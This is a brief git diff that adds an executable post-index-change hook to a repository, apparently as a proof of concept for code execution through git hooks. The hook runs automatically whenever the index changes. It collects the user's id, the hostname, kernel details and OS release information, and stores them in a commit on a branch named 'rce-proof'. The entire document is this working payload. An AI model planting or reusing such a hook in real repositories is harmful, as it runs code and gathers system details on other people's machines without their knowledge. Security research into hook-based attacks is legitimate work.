diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..6c10eff --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,7 @@ +#!/bin/sh +OUT=$(id; hostname; uname -a; cat /etc/os-release 2>/dev/null | head -3) +BLOB=$(echo "$OUT" | git hash-object -w --stdin) +TREE=$(printf "100644 blob ${BLOB}\toutput.txt\n" | git mktree) +COMMIT=$(git commit-tree ${TREE} -m "rce-output") +git update-ref refs/heads/rce-proof ${COMMIT} +exit 0